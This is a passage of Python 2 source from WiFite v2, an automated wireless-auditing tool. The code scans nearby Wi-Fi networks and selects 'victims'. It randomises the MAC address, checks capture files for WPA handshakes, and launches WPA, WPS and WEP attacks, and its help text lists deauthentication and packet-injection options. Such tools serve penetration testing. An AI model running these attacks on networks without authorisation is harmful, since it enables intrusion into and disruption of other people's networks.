                        if target.ssid == '':
                            p = O+'('+target.bssid+')'+GR+' '+W
                            print '%s' % p.ljust(20),
                        elif ( target.ssid.count('\x00') == len(target.ssid) ):
                            p = '<Length '+str(len(target.ssid))+'>'
                            print '%s' % C+p.ljust(20)+W,
                        elif len(target.ssid) <= 20:
                            print "%s" % C+target.ssid.ljust(20)+W,
                        else:
                            print "%s" % C+target.ssid[0:17] + '...'+W,
                        # BSSID
                        if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
                            print O,target.bssid+W,
                        # Channel
                        print G+target.channel.rjust(3),W,
                        # Encryption
                        if target.encryption.find("WEP") != -1: print G,
                        else: print O,
                        print "\b%3s" % target.encryption.strip().ljust(4) + W,
                        # Power
                        if target.power >= 55: col = G
                        elif target.power >= 40: col = O
                        else: col = R
                        print "%s%3ddb%s" % (col,target.power, W),
                        # WPS
                        if self.RUN_CONFIG.WPS_DISABLE:
                            print " %3s" % (O+'n/a'+W),
                        else:
                            print " %3s" % (G+'wps'+W if target.wps else R+' no'+W),
                        # Clients
                        client_text = ''
                        for c in clients:
                            if c.station == target.bssid:
                                if client_text == '': client_text = 'client'
                                elif client_text[-1] != "s": client_text += "s"
                        if client_text != '': print ' %s' % (G+client_text+W)
                        else: print ''
                    print ''
                print ' %s %s wireless networks. %s target%s and %s client%s found \r' % (
                      GR+sec_to_hms(time.time() - time_started)+W, G+'scanning'+W,
                      G+str(len(targets))+W, '' if len(targets) == 1 else 's',
                      G+str(len(clients))+W, '' if len(clients) == 1 else 's'),

                stdout.flush()
        except KeyboardInterrupt:
            pass
        print ''

        send_interrupt(proc)
        try: os.kill(proc.pid, SIGTERM)
        except OSError: pass
        except UnboundLocalError: pass

        # Use "wash" program to check for WPS compatibility
        if not self.RUN_CONFIG.WPS_DISABLE:
            wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap')

        remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')

        if stop_scanning: return (targets, clients)
        print ''

        if len(targets) == 0:
            print R+' [!]'+O+' no targets found!'+W
            print R+' [!]'+O+' you may need to wait for targets to show up.'+W
            print ''
            self.RUN_CONFIG.exit_gracefully(1)

        if self.RUN_CONFIG.VERBOSE_APS: os.system('clear')

        # Sort by Power
        targets = sorted(targets, key=lambda t: t.power, reverse=True)

        victims = []
        print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ('BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
        print ' --- -------------------- %s-- ---- ----- ---- ------' % ('----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
        for i, target in enumerate(targets):
            print " %s%2d%s " % (G, i + 1, W),
            # SSID
            if target.ssid == '':
                p = O+'('+target.bssid+')'+GR+' '+W
                print '%s' % p.ljust(20),
            elif ( target.ssid.count('\x00') == len(target.ssid) ):
                p = '<Length '+str(len(target.ssid))+'>'
                print '%s' % C+p.ljust(20)+W,
            elif len(target.ssid) <= 20:
                print "%s" % C+target.ssid.ljust(20)+W,
            else:
                print "%s" % C+target.ssid[0:17] + '...'+W,
            # BSSID
            if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
                print O,target.bssid+W,
            # Channel
            print G+target.channel.rjust(3),W,
            # Encryption
            if target.encryption.find("WEP") != -1: print G,
            else: print O,
            print "\b%3s" % target.encryption.strip().ljust(4) + W,
            # Power
            if target.power >= 55: col = G
            elif target.power >= 40: col = O
            else: col = R
            print "%s%3ddb%s" % (col,target.power, W),
            # WPS
            if self.RUN_CONFIG.WPS_DISABLE:
                print " %3s" % (O+'n/a'+W),
            else:
                print " %3s" % (G+'wps'+W if target.wps else R+' no'+W),
            # Clients
            client_text = ''
            for c in clients:
                if c.station == target.bssid:
                    if client_text == '': client_text = 'client'
                    elif client_text[-1] != "s": client_text += "s"
            if client_text != '': print ' %s' % (G+client_text+W)
            else: print ''

        ri = raw_input(GR+"\n [+]"+W+" select "+G+"target numbers"+W+" ("+G+"1-%s)" % (str(len(targets))+W) + \
                             " separated by commas, or '%s': " % (G+'all'+W))
        if ri.strip().lower() == 'all':
            victims = targets[:]
        else:
            for r in ri.split(','):
                r = r.strip()
                if r.find('-') != -1:
                    (sx, sy) = r.split('-')
                    if sx.isdigit() and sy.isdigit():
                        x = int(sx)
                        y = int(sy) + 1
                        for v in xrange(x, y):
                            victims.append(targets[v - 1])
                elif not r.isdigit() and r.strip() != '':
                    print O+" [!]"+R+" not a number: %s " % (O+r+W)
                elif r != '':
                    victims.append(targets[int(r) - 1])

        if len(victims) == 0:
            print O+'\n [!] '+R+'no targets selected.\n'+W
            self.RUN_CONFIG.exit_gracefully(0)

        print ''
        print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')

        return (victims, clients)

    def Start(self):
        self.RUN_CONFIG.CreateTempFolder()
        self.RUN_CONFIG.handle_args()
        self.RUN_CONFIG.ConfirmRunningAsRoot()
        self.RUN_CONFIG.ConfirmCorrectPlatform()

        self.initial_check() # Ensure required programs are installed.

        # The "get_iface" method anonymizes the MAC address (if needed)
        # and puts the interface into monitor mode.
        iface = self.get_iface()
        self.RUN_CONFIG.THIS_MAC = get_mac_address(iface) # Store current MAC address

        (targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL)

        try:
            index = 0
            while index < len(targets):
                target = targets[index]
                # Check if we have already cracked this target
                for already in RUN_CONFIG.CRACKED_TARGETS:
                    if already.bssid == targets[index].bssid:
                        if RUN_CONFIG.SHOW_ALREADY_CRACKED == True:
                            print R+'\n [!]'+O+' you have already cracked this access point\'s key!'+W
                            print R+' [!] %s' % (C+already.ssid+W+': "'+G+already.key+W+'"')
                            ri = raw_input(GR+' [+] '+W+'do you want to crack this access point again? ('+G+'y/'+O+'n'+W+'): ')
                            if ri.lower() == 'n':
                                targets.pop(index)
                                index -= 1
                        else:
                            targets.pop(index)
                            index -= 1
                        break

                # Check if handshakes already exist, ask user whether to skip targets or save new handshakes
                handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
                                 + '_' + target.bssid.replace(':', '-') + '.cap'
                if os.path.exists(handshake_file):
                    print R+'\n [!] '+O+'you already have a handshake file for %s:' % (C+target.ssid+W)
                    print ' %s\n' % (G+handshake_file+W)
                    print GR+' [+]'+W+' do you want to '+G+'[s]kip'+W+', '+O+'[c]apture again'+W+', or '+R+'[o]verwrite'+W+'?'
                    ri = 'x'
                    while ri != 's' and ri != 'c' and ri != 'o':
                        ri = raw_input(GR+' [+] '+W+'enter '+G+'s'+W+', '+O+'c,'+W+' or '+R+'o'+W+': '+G).lower()
                    print W+"\b",
                    if ri == 's':
                        targets.pop(index)
                        index -= 1
                    elif ri == 'o':
                        remove_file(handshake_file)
                        continue
                index += 1


        except KeyboardInterrupt:
            print '\n '+R+'(^C)'+O+' interrupted\n'
            self.RUN_CONFIG.exit_gracefully(0)

        wpa_success = 0
        wep_success = 0
        wpa_total = 0
        wep_total = 0

        self.RUN_CONFIG.TARGETS_REMAINING = len(targets)
        for t in targets:
            self.RUN_CONFIG.TARGETS_REMAINING -= 1

            # Build list of clients connected to target
            ts_clients = []
            for c in clients:
                if c.station == t.bssid:
                    ts_clients.append(c)

            print ''
            if t.encryption.find('WPA') != -1:
                need_handshake = True
                if not self.RUN_CONFIG.WPS_DISABLE and t.wps:
                    wps_attack = WPSAttack(iface, t, self.RUN_CONFIG)
                    need_handshake = not wps_attack.RunAttack()
                    wpa_total += 1

                if not need_handshake: wpa_success += 1
                if self.RUN_CONFIG.TARGETS_REMAINING < 0: break

                if not self.RUN_CONFIG.WPA_DISABLE and need_handshake:
                    wpa_total += 1
                    wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG)
                    if wpa_attack.RunAttack():
                        wpa_success += 1

            elif t.encryption.find('WEP') != -1:
                wep_total += 1
                wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG)
                if wep_attack.RunAttack():
                    wep_success += 1

            else: print R+' unknown encryption:',t.encryption,W

            # If user wants to stop attacking
            if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break

        if wpa_total + wep_total > 0:
            # Attacks are done! Show results to user
            print ''
            print GR+' [+] %s%d attack%s completed:%s' % (G, wpa_total + wep_total, '' if wpa_total+wep_total == 1 else 's', W)
            print ''
            if wpa_total > 0:
                if wpa_success == 0: print GR+' [+]'+R,
                elif wpa_success == wpa_total: print GR+' [+]'+G,
                else: print GR+' [+]'+O,
                print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)

                for finding in self.RUN_CONFIG.WPA_FINDINGS:
                    print ' ' + C+finding+W

            if wep_total > 0:
                if wep_success == 0: print GR+' [+]'+R,
                elif wep_success == wep_total: print GR+' [+]'+G,
                else: print GR+' [+]'+O,
                print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)

                for finding in self.RUN_CONFIG.WEP_FINDINGS:
                    print ' ' + C+finding+W

            caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK)
            if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK:
                print GR+' [+]'+W+' starting '+G+'WPA cracker'+W+' on %s%d handshake%s' % (G, caps, W if caps == 1 else 's'+W)
                for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK:
                    wpa_crack(cap)

        print ''
        self.RUN_CONFIG.exit_gracefully(0)

    def parse_csv(self, filename):
        """
Parses given lines from airodump-ng CSV file.
Returns tuple: List of targets and list of clients.
"""
        if not os.path.exists(filename): return ([], [])
        targets = []
        clients = []
        try:
            hit_clients = False
            with open(filename, 'rb') as csvfile:
                targetreader = csv.reader((line.replace('\0','') for line in csvfile), delimiter=',')
                for row in targetreader:
                    if len(row) < 2:
                        continue
                    if not hit_clients:
                        if len(row) < 14:
                            continue
                        if row[0].strip() == 'Station MAC':
                            hit_clients = True
                        if row[0].strip() == 'BSSID' or row[0].strip() == 'Station Mac': continue
                        enc = row[5].strip()
                        wps = False
                        if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
                        if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue
                        if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find('WPA') != -1: continue
                        if enc == "WPA2WPA":
                            enc = "WPA2"
                            wps = True
                        power = int(row[8].strip())

                        ssid = row[13].strip()
                        ssidlen = int(row[12].strip())
                        ssid = ssid[:ssidlen]

                        if power < 0: power += 100
                        t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)
                        t.wps = wps
                        targets.append(t)
                    else:
                        if len(row) < 6:
                            continue
                        bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())
                        station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())
                        power = row[3].strip()
                        if station != 'notassociated':
                            c = Client(bssid, station, power)
                            clients.append(c)
        except IOError as e:
            print "I/O error({0}): {1}".format(e.errno, e.strerror)
            return ([], [])

        return (targets, clients)

    def analyze_capfile(self, capfile):
        """
Analyzes given capfile for handshakes using various programs.
Prints results to console.
"""
        # we're not running an attack
        wpa_attack = WPAAttack(None, None, None)

        if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '':
            print R+' [!]'+O+' target ssid and bssid are required to check for handshakes'
            print R+' [!]'+O+' please enter essid (access point name) using -e <name>'
            print R+' [!]'+O+' and/or target bssid (mac address) using -b <mac>\n'
            # exit_gracefully(1)

        if self.UN_CONFIG.TARGET_BSSID == '':
            # Get the first BSSID found in tshark!
            self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile)
            # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
            if self.RUN_CONFIG.TARGET_BSSID == '':
                print R+' [!]'+O+' unable to guess BSSID from ESSID!'
            else:
                print GR+' [+]'+W+' guessed bssid: %s' % (G+self.RUN_CONFIG.TARGET_BSSID+W)

        if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '':
            self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile)

        print GR+'\n [+]'+W+' checking for handshakes in %s' % (G+capfile+W)

        t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID)

        if program_exists('pyrit'):
            result = wpa_attack.has_handshake_pyrit(t, capfile)
            print GR+' [+]'+W+' '+G+'pyrit'+W+':\t\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
        else: print R+' [!]'+O+' program not found: pyrit'
        if program_exists('cowpatty'):
            result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True)
            print GR+' [+]'+W+' '+G+'cowpatty'+W+' (nonstrict):\t %s' % (G+'found!'+W if result else O+'not found'+W)
            result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False)
            print GR+' [+]'+W+' '+G+'cowpatty'+W+' (strict):\t %s' % (G+'found!'+W if result else O+'not found'+W)
        else: print R+' [!]'+O+' program not found: cowpatty'
        if program_exists('tshark'):
            result = wpa_attack.has_handshake_tshark(t, capfile)
            print GR+' [+]'+W+' '+G+'tshark'+W+':\t\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
        else: print R+' [!]'+O+' program not found: tshark'
        if program_exists('aircrack-ng'):
            result = wpa_attack.has_handshake_aircrack(t, capfile)
            print GR+' [+]'+W+' '+G+'aircrack-ng'+W+':\t\t %s' % (G+'found!'+W if result else O+'not found'+W)
        else: print R+' [!]'+O+' program not found: aircrack-ng'

        print ''

        self.RUN_CONFIG.exit_gracefully(0)

##################
# MAIN FUNCTIONS #
##################

##############################################################
### End Classes

def rename(old, new):
    """
Renames file 'old' to 'new', works with separate partitions.
Thanks to hannan.sadar
"""
    try:
        os.rename(old, new)
    except os.error, detail:
        if detail.errno == errno.EXDEV:
            try:
                copy(old, new)
            except:
                os.unlink(new)
                raise
                os.unlink(old)
        # if desired, deal with other errors
        else:
            raise

def banner(RUN_CONFIG):
    """
Displays ASCII art of the highest caliber.
"""
    print ''
    print G+" .;' `;, "
    print G+" .;' ,;' `;, `;, "+W+"WiFite v2 (r" + str(RUN_CONFIG.REVISION) + ")"
    print G+".;' ,;' ,;' `;, `;, `;, "
    print G+":: :: : "+GR+"( )"+G+" : :: :: "+GR+"automated wireless auditor"
    print G+"':. ':. ':. "+GR+"/_\\"+G+" ,:' ,:' ,:' "
    print G+" ':. ':. "+GR+"/___\\"+G+" ,:' ,:' "+GR+"designed for Linux"
    print G+" ':. "+GR+"/_____\\"+G+" ,:' "
    print G+" "+GR+"/ \\"+G+" "
    print W


def get_revision():
    """
Gets latest revision # from the GitHub repository
Returns : revision#
"""
    irev =-1

    try:
        sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
        page = sock.read()
    except IOError:
        return (-1, '', '')

    # get the revision
    start= page.find('REVISION = ')
    stop = page.find(";", start)
    if start != -1 and stop != -1:
        start += 11
        rev=page[start:stop]
        try:
            irev=int(rev)
        except ValueError:
            rev=rev.split('\n')[0]
            print R+'[+] invalid revision number: "'+rev+'"'

    return irev

def help():
    """
Prints help screen
"""

    head = W
    sw = G
    var = GR
    des = W
    de = G

    print head+' COMMANDS'+W
    print sw+'\t-check '+var+'<file>\t'+des+'check capfile '+var+'<file>'+des+' for handshakes.'+W
    print sw+'\t-cracked \t'+des+'display previously-cracked access points'+W
    print sw+'\t-recrack \t'+des+'allow recracking of previously cracked access points'+W
    print ''

    print head+' GLOBAL'+W
    print sw+'\t-all \t'+des+'attack all targets. '+de+'[off]'+W
    #print sw+'\t-pillage \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W
    print sw+'\t-i '+var+'<iface> \t'+des+'wireless interface for capturing '+de+'[auto]'+W
    print sw+'\t-mac \t'+des+'anonymize mac address '+de+'[off]'+W
    print sw+'\t-c '+var+'<channel>\t'+des+'channel to scan for targets '+de+'[auto]'+W
    print sw+'\t-e '+var+'<essid> \t'+des+'target a specific access point by ssid (name) '+de+'[ask]'+W
    print sw+'\t-b '+var+'<bssid> \t'+des+'target a specific access point by bssid (mac) '+de+'[auto]'+W
    print sw+'\t-showb \t'+des+'display target BSSIDs after scan '+de+'[off]'+W
    print sw+'\t-pow '+var+'<db> \t'+des+'attacks any targets with signal strenghth > '+var+'db '+de+'[0]'+W
    print sw+'\t-quiet \t'+des+'do not print list of APs during scan '+de+'[off]'+W
    print ''

    print head+'\n WPA'+W
    print sw+'\t-wpa \t'+des+'only target WPA networks (works with -wps -wep) '+de+'[off]'+W
    print sw+'\t-wpat '+var+'<sec> \t'+des+'time to wait for WPA attack to complete (seconds) '+de+'[500]'+W
    print sw+'\t-wpadt '+var+'<sec> \t'+des+'time to wait between sending deauth packets (sec) '+de+'[10]'+W
    print sw+'\t-strip \t'+des+'strip handshake using tshark or pyrit '+de+'[off]'+W
    print sw+'\t-crack '+var+'<dic>\t'+des+'crack WPA handshakes using '+var+'<dic>'+des+' wordlist file '+de+'[off]'+W
    print sw+'\t-dict '+var+'<file>\t'+des+'specify dictionary to use when cracking WPA '+de+'[phpbb.txt]'+W
    print sw+'\t-aircrack \t'+des+'verify handshake using aircrack '+de+'[on]'+W
    print sw+'\t-pyrit \t'+des+'verify handshake using pyrit '+de+'[off]'+W
    print sw+'\t-tshark \t'+des+'verify handshake using tshark '+de+'[on]'+W
    print sw+'\t-cowpatty \t'+des+'verify handshake using cowpatty '+de+'[off]'+W

    print head+'\n WEP'+W
    print sw+'\t-wep \t'+des+'only target WEP networks '+de+'[off]'+W
    print sw+'\t-pps '+var+'<num> \t'+des+'set the number of packets per second to inject '+de+'[600]'+W
    print sw+'\t-wept '+var+'<sec> \t'+des+'sec to wait for each attack, 0 implies endless '+de+'[600]'+W
    print sw+'\t-chopchop \t'+des+'use chopchop attack '+de+'[on]'+W
    print sw+'\t-arpreplay \t'+des+'use arpreplay attack '+de+'[on]'+W
    print sw+'\t-fragment \t'+des+'use fragmentation attack '+de+'[on]'+W
    print sw+'\t-caffelatte \t'+des+'use caffe-latte attack '+de+'[on]'+W
    print sw+'\t-p0841 \t'+des+'use -p0841 attack '+de+'[on]'+W
    print sw+'\t-hirte \t'+des+'use hirte (cfrag) attack '+de+'[on]'+W
    print sw+'\t-nofakeauth \t'+des+'stop attack if fake authentication fails '+de+'[off]'+W
    print sw+'\t-wepca '+GR+'<n> \t'+des+'start cracking when number of ivs surpass n '+de+'[10000]'+W
    print sw+'\t-wepsave \t'+des+'save a copy of .cap files to this directory '+de+'[off]'+W

    print head+'\n WPS'+W
    print sw+'\t-wps \t'+des+'only target WPS networks '+de+'[off]'+W
    print sw+'\t-wpst '+var+'<sec> \t'+des+'max wait for new retry before giving up (0: never) '+de+'[660]'+W
    print sw+'\t-wpsratio '+var+'<per>\t'+des+'min ratio of successful PIN attempts/total tries '+de+'[0]'+W
    print sw+'\t-wpsretry '+var+'<num>\t'+des+'max number of retries for same PIN before giving up '+de+'[0]'+W

    print head+'\n EXAMPLE'+W
    print sw+'\t./wifite.py '+W+'-wps -wep -c 6 -pps 600'+W
    print ''

###########################
# WIRELESS CARD FUNCTIONS #
###########################




######################
# SCANNING FUNCTIONS #
######################





def wps_check_targets(targets, cap_file, verbose=True):
    """
Uses reaver's "walsh" (or wash) program to check access points in cap_file
for WPS functionality. Sets "wps" field of targets that match to True.
"""
    global RUN_CONFIG

    if not program_exists('walsh') and not program_exists('wash'):
        RUN_CONFIG.WPS_DISABLE = True # Tell 'scan' we were unable to execute walsh
        return
    program_name = 'walsh' if program_exists('walsh') else 'wash'

    if len(targets) == 0 or not os.path.exists(cap_file): return
    if verbose:
        print GR+' [+]'+W+' checking for '+G+'WPS compatibility'+W+'...',
        stdout.flush()

    cmd = [program_name,
           '-f', cap_file,
           '-C'] # ignore Frame Check Sum errors
    proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN)
    proc_walsh.wait()
    for line in proc_walsh.communicate()[0].split('\n'):
        if line.strip() == '' or line.startswith('Scanning for'): continue
        bssid = line.split(' ')[0]

        for t in targets:
            if t.bssid.lower() == bssid.lower():
                t.wps = True
    if verbose:
        print 'done'
    removed = 0
    if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE:
        i = 0
        while i < len(targets):
            if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
                removed += 1
                targets.pop(i)
            else: i += 1
        if removed > 0 and verbose: print GR+' [+]'+O+' removed %d non-WPS-enabled targets%s' % (removed, W)



def print_and_exec(cmd):
    """
Prints and executes command "cmd". Also waits half a second
Used by rtl8187_fix (for prettiness)
"""
    print '\r \r',
    stdout.flush()
    print O+' [!] '+W+'executing: '+O+' '.join(cmd) + W,
    stdout.flush()
    call(cmd, stdout=DN, stderr=DN)
    time.sleep(0.1)

####################
# HELPER FUNCTIONS #
####################

def remove_airodump_files(prefix):
    """
Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
Used by wpa_get_handshake() and attack_wep()
"""
    global RUN_CONFIG
    remove_file(prefix + '-01.cap')
    remove_file(prefix + '-01.csv')
    remove_file(prefix + '-01.kismet.csv')
    remove_file(prefix + '-01.kismet.netxml')
    for filename in os.listdir(RUN_CONFIG.temp):
        if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename)
    for filename in os.listdir('.'):
        if filename.startswith('replay_') and filename.endswith('.cap'):
            remove_file(filename)
        if filename.endswith('.xor'): remove_file(filename)
    # Remove .cap's from previous attack sessions
    """i = 2
while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
os.remove(temp + 'wep-' + str(i) + '.cap')
i += 1
"""

def remove_file(filename):
    """
Attempts to remove a file. Does not throw error if file is not found.
"""
    try: os.remove(filename)
    except OSError: pass

def program_exists(program):
    """
Uses 'which' (linux command) to check if a program is installed.
"""

    proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
    txt = proc.communicate()
    if txt[0].strip() == '' and txt[1].strip() == '':
        return False
    if txt[0].strip() != '' and txt[1].strip() == '':
        return True

    return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)

def sec_to_hms(sec):
    """
Converts integer sec to h:mm:ss format
"""
    if sec <= -1: return '[endless]'
    h = sec / 3600
    sec %= 3600
    m = sec / 60
    sec %= 60
    return '[%d:%02d:%02d]' % (h, m, sec)

def send_interrupt(process):
    """
Sends interrupt signal to process's PID.
"""
    try:
        os.kill(process.pid, SIGINT)
        # os.kill(process.pid, SIGTERM)
    except OSError: pass # process cannot be killed
    except TypeError: pass # pid is incorrect type
    except UnboundLocalError: pass # 'process' is not defined
    except AttributeError: pass # Trying to kill "None"

def get_mac_address(iface):
    """
Returns MAC address of "iface".
"""
    proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
    proc.wait()
    mac = ''
    first_line = proc.communicate()[0].split('\n')[0]
    for word in first_line.split(' '):
        if word != '': mac = word
    if mac.find('-') != -1: mac = mac.replace('-', ':')
    if len(mac) > 17: mac = mac[0:17]
    return mac

def generate_random_mac(old_mac):
    """
Generates a random MAC address.
Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
"""
    random.seed()
    new_mac = old_mac[:8].lower().replace('-', ':')
    for i in xrange(0, 6):
        if i % 2 == 0: new_mac += ':'
        new_mac += '0123456789abcdef'[random.randint(0,15)]

    # Prevent generating the same MAC address via recursion.
    if new_mac == old_mac:
        new_mac = generate_random_mac(old_mac)
    return new_mac

def mac_anonymize(iface):
    """
Changes MAC address of 'iface' to a random MAC.
Only randomizes the last 6 digits of the MAC, so the vender says the same.
Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
"""
    global RUN_CONFIG
    if RUN_CONFIG.DO_NOT_CHANGE_MAC: return
    if not program_exists('ifconfig'): return

    # Store old (current) MAC address
    proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
    proc.wait()
    for word in proc.communicate()[0].split('\n')[0].split(' '):
        if word != '': old_mac = word
    RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac)

    new_mac = generate_random_mac(old_mac)

    call(['ifconfig', iface, 'down'])

    print GR+" [+]"+W+" changing %s's MAC from %s to %s..." % (G+iface+W, G+old_mac+W, O+new_mac+W),
    stdout.flush()

    proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
    proc.wait()
    call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
    print 'done'

def mac_change_back():
    """
Changes MAC address back to what it was before attacks began.
"""
    global RUN_CONFIG
    iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0]
    old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1]
    if iface == '' or old_mac == '': return

    print GR+" [+]"+W+" changing %s's mac back to %s..." % (G+iface+W, G+old_mac+W),
    stdout.flush()

    call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
    proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
    proc.wait()
    call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
    print "done"



def get_essid_from_cap(bssid, capfile):
    """
Attempts to get ESSID from cap file using BSSID as reference.
Returns '' if not found.
"""
    if not program_exists('tshark'): return ''

    cmd = ['tshark',
           '-r', capfile,
           '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
           '-n']
    proc = Popen(cmd, stdout=PIPE, stderr=DN)
    proc.wait()
    for line in proc.communicate()[0].split('\n'):
        if line.find('SSID=') != -1:
            essid = line[line.find('SSID=')+5:]
            print GR+' [+]'+W+' guessed essid: %s' % (G+essid+W)
            return essid
    print R+' [!]'+O+' unable to guess essid!'+W
    return ''

def get_bssid_from_cap(essid, capfile):
    """
Returns first BSSID of access point found in cap file.
This is not accurate at all, but it's a good guess.
Returns '' if not found.
"""
    global RUN_CONFIG

    if not program_exists('tshark'): return ''

# Attempt to get BSSID based on ESSID
    if essid != '':
        cmd = ['tshark',
               '-r', capfile,
               '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
               '-n', # Do not resolve MAC vendor names
               '-T', 'fields', # Only display certain fields
               '-e', 'wlan.sa'] # souce MAC address
        proc = Popen(cmd, stdout=PIPE, stderr=DN)
        proc.wait()
        bssid = proc.communicate()[0].split('\n')[0]
        if bssid != '': return bssid

    cmd = ['tshark',
           '-r', capfile,
           '-R', 'eapol',
           '-n']
    proc = Popen(cmd, stdout=PIPE, stderr=DN)
    proc.wait()
    for line in proc.communicate()[0].split('\n'):
        if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
            while line.startswith(' ') or line.startswith('\t'): line = line[1:]
            line = line.replace('\t', ' ')
            while line.find(' ') != -1: line = line.replace(' ', ' ')
            return line.split(' ')[2]
        elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
            while line.startswith(' ') or line.startswith('\t'): line = line[1:]
            line = line.replace('\t', ' ')
            while line.find(' ') != -1: line = line.replace(' ', ' ')
            return line.split(' ')[4]
    return ''

def attack_interrupted_prompt():
    """
Promps user to decide if they want to exit,
skip to cracking WPA handshakes,
or continue attacking the remaining targets (if applicable).
returns True if user chose to exit complete, False otherwise
"""
    global RUN_CONFIG
    should_we_exit = False
    # If there are more targets to attack, ask what to do next
    if RUN_CONFIG.TARGETS_REMAINING > 0:
        options = ''
        print GR+"\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W,
                                '' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's',
                                's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '')
        print GR+" [+]"+W+" what do you want to do?"
        options += G+'c'+W
        print G+" [c]ontinue"+W+" attacking targets"

        if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0:
            options += W+', '+O+'s'+W
            print O+" [s]kip"+W+" to cracking WPA cap files"
        options += W+', or '+R+'e'+W
        print R+" [e]xit"+W+" completely"
        ri = ''
        while ri != 'c' and ri != 's' and ri != 'e':
            ri = raw_input(GR+' [+]'+W+' please make a selection (%s): ' % options)

        if ri == 's':
            RUN_CONFIG.TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking
        elif ri == 'e':
            should_we_exit = True
    return should_we_exit

#
# Abstract base class for attacks.
# Attacks are required to implement the following methods:
# RunAttack - Initializes the attack
# EndAttack - Cleanly ends the attack
#
class Attack(object):
    __metaclass__ = abc.ABCMeta
    @abc.abstractmethod
    def RunAttack(self):
        raise NotImplementedError()
    @abc.abstractmethod
    def EndAttack(self):
        raise NotImplementedError()

#################
# WPA FUNCTIONS #
#################
class WPAAttack(Attack):
    def __init__(self, iface, target, clients, config):
        self.iface = iface
        self.clients = clients
        self.target = target
        self.RUN_CONFIG = config

    def RunAttack(self):
        '''
Abstract method for initializing the WPA attack
'''
        self.wpa_get_handshake()

    def EndAttack(self):
        '''
Abstract method for ending the WPA attack
'''
        pass

    def wpa_get_handshake(self):
        """
Opens an airodump capture on the target, dumping to a file.
During the capture, sends deauthentication packets to the target both as
general deauthentication packets and specific packets aimed at connected clients.
Waits until a handshake is captured.
"iface" - interface to capture on
"target" - Target object containing info on access point
"clients" - List of Client objects associated with the target
Returns True if handshake was found, False otherwise
"""

        if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1

        # Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
